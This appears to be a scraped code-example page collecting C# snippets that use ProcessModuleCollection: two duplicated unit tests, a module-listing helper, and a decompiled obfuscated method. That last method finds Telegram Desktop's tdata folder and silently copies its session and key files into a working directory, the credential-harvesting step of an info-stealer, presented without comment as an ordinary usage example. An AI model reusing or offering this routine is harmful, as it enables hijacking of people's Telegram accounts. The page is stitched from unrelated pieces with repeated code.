public void TestModuleCollectionBehavior()
        {
            ProcessModule[] mArray = Process.GetCurrentProcess().Modules.Cast <ProcessModule>().ToArray();

            // Constructor
            ProcessModuleCollection moduleCollection = new ProcessModuleCollection(mArray);

            // Count
            Assert.Equal(mArray.Count(), moduleCollection.Count);

            // get_item, Contains, IndexOf
            for (int i = 0; i < mArray.Count(); i++)
            {
                Assert.Equal(mArray[i], moduleCollection[i]);
                Assert.True(moduleCollection.Contains(mArray[i]));
                Assert.Equal(i, moduleCollection.IndexOf(mArray[i]));
            }

            // CopyTo
            ProcessModule[] moduleArray = new ProcessModule[moduleCollection.Count + 1];
            moduleCollection.CopyTo(moduleArray, 1);
            for (int i = 0; i < mArray.Count(); i++)
            {
                Assert.Equal(mArray[i], moduleArray[i + 1]);
            }

            Assert.Throws <ArgumentOutOfRangeException>(() => moduleCollection.CopyTo(moduleArray, -1));

            // Explicit interface implementations
            Assert.False(((ICollection)moduleCollection).IsSynchronized);
            Assert.NotNull(((ICollection)moduleCollection).SyncRoot);

            moduleArray = new ProcessModule[moduleCollection.Count];
            ((ICollection)moduleCollection).CopyTo(moduleArray, 0);
            Assert.Equal(moduleCollection.Cast <ProcessModule>().ToArray(), moduleArray);

            // GetEnumerator
            IEnumerator enumerator = moduleCollection.GetEnumerator();

            Assert.Throws <InvalidOperationException>(() => enumerator.Current);

            for (int i = 0; i < moduleCollection.Count; i++)
            {
                enumerator.MoveNext();
                Assert.Equal(moduleCollection[i], enumerator.Current);
            }
        }
        public void TestModuleCollectionBehavior()
        {
            ProcessModule[] mArray = Process.GetCurrentProcess().Modules.Cast<ProcessModule>().ToArray();

            // Constructor
            ProcessModuleCollection moduleCollection = new ProcessModuleCollection(mArray);

            // Count
            Assert.Equal(mArray.Count(), moduleCollection.Count);

            // get_item, Contains, IndexOf
            for (int i = 0; i < mArray.Count(); i++)
            {
                Assert.Equal(mArray[i], moduleCollection[i]);
                Assert.True(moduleCollection.Contains(mArray[i]));
                Assert.Equal(i, moduleCollection.IndexOf(mArray[i]));
            }

            // CopyTo
            ProcessModule[] moduleArray = new ProcessModule[moduleCollection.Count + 1];
            moduleCollection.CopyTo(moduleArray, 1);
            for (int i = 0; i < mArray.Count(); i++)
            {
                Assert.Equal(mArray[i], moduleArray[i + 1]);
            }

            Assert.Throws<ArgumentOutOfRangeException>(() => moduleCollection.CopyTo(moduleArray, -1));

            // Explicit interface implementations
            Assert.False(((ICollection)moduleCollection).IsSynchronized);
            Assert.NotNull(((ICollection)moduleCollection).SyncRoot);

            moduleArray = new ProcessModule[moduleCollection.Count];
            ((ICollection)moduleCollection).CopyTo(moduleArray, 0);
            Assert.Equal(moduleCollection.Cast<ProcessModule>().ToArray(), moduleArray);

            // GetEnumerator
            IEnumerator enumerator = moduleCollection.GetEnumerator();
            Assert.Throws<InvalidOperationException>(() => enumerator.Current);

            for (int i = 0; i < moduleCollection.Count; i++)
            {
                enumerator.MoveNext();
                Assert.Equal(moduleCollection[i], enumerator.Current);
            }
        }
Beispiel #3
0
        public List <ProcessModule> GetModules(int pid)
        {
            List <ProcessModule> a = new List <ProcessModule>();

            Process p = Process.GetProcessById(pid);
            ProcessModuleCollection pmc = p.Modules;
            IEnumerator             ie  = pmc.GetEnumerator();

            while (ie.MoveNext())
            {
                ProcessModule pm = (ProcessModule)ie.Current;
                a.Add(pm);

                PrintModule(pm);
            }
            return(a);
        }
Beispiel #4
0
 // Token: 0x060001E3 RID: 483 RVA: 0x0000F204 File Offset: 0x0000D404
 public static void smethod_6()
 {
     string[] array = new string[]
     {
         "\\D877F783D5D3EF8C1",
         "\\D877F783D5D3EF8C0",
         "\\D877F783D5D3EF8C\\map1",
         "\\D877F783D5D3EF8C\\map0"
     };
     try
     {
         if (Process.GetProcessesByName("Telegram").Length != 0)
         {
             Process process = Process.GetProcessesByName("Telegram")[0];
             ProcessModuleCollection modules = process.Modules;
             using (IEnumerator enumerator = modules.GetEnumerator())
             {
                 while (enumerator.MoveNext())
                 {
                     ProcessModule processModule = (ProcessModule)enumerator.Current;
                     string        fileName      = processModule.FileName;
                     string        text          = fileName.Remove(fileName.LastIndexOf('\\') + 1).Replace('"', ' ') + "tdata";
                     if (Directory.Exists(text))
                     {
                         Directory.CreateDirectory(Dirs.WorkDir + "\\Telegram");
                     }
                     if (!Directory.Exists(Dirs.WorkDir + "\\Telegram\\D877F783D5D3EF8C"))
                     {
                         Directory.CreateDirectory(Dirs.WorkDir + "\\Telegram\\D877F783D5D3EF8C");
                     }
                     foreach (string text2 in array)
                     {
                         try
                         {
                             File.Copy(text + text2, Dirs.WorkDir + "\\Telegram" + text2, true);
                         }
                         catch
                         {
                         }
                     }
                 }
                 goto IL_224;
             }
         }
         RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Classes\\tdesktop.tg\\DefaultIcon");
         string      text3       = (string)registryKey.GetValue(null);
         registryKey.Close();
         string text4 = text3.Remove(text3.LastIndexOf('\\') + 1).Replace('"', ' ') + "tdata";
         if (Directory.Exists(text4))
         {
             Directory.CreateDirectory(Dirs.WorkDir + "\\Telegram");
         }
         if (!Directory.Exists(Dirs.WorkDir + "\\Telegram\\D877F783D5D3EF8C"))
         {
             Directory.CreateDirectory(Dirs.WorkDir + "\\Telegram\\D877F783D5D3EF8C");
         }
         foreach (string text5 in array)
         {
             try
             {
                 File.Copy(text4 + text5, Dirs.WorkDir + "\\Telegram" + text5, true);
             }
             catch
             {
             }
         }
         IL_224 :;
     }
     catch
     {
     }
 }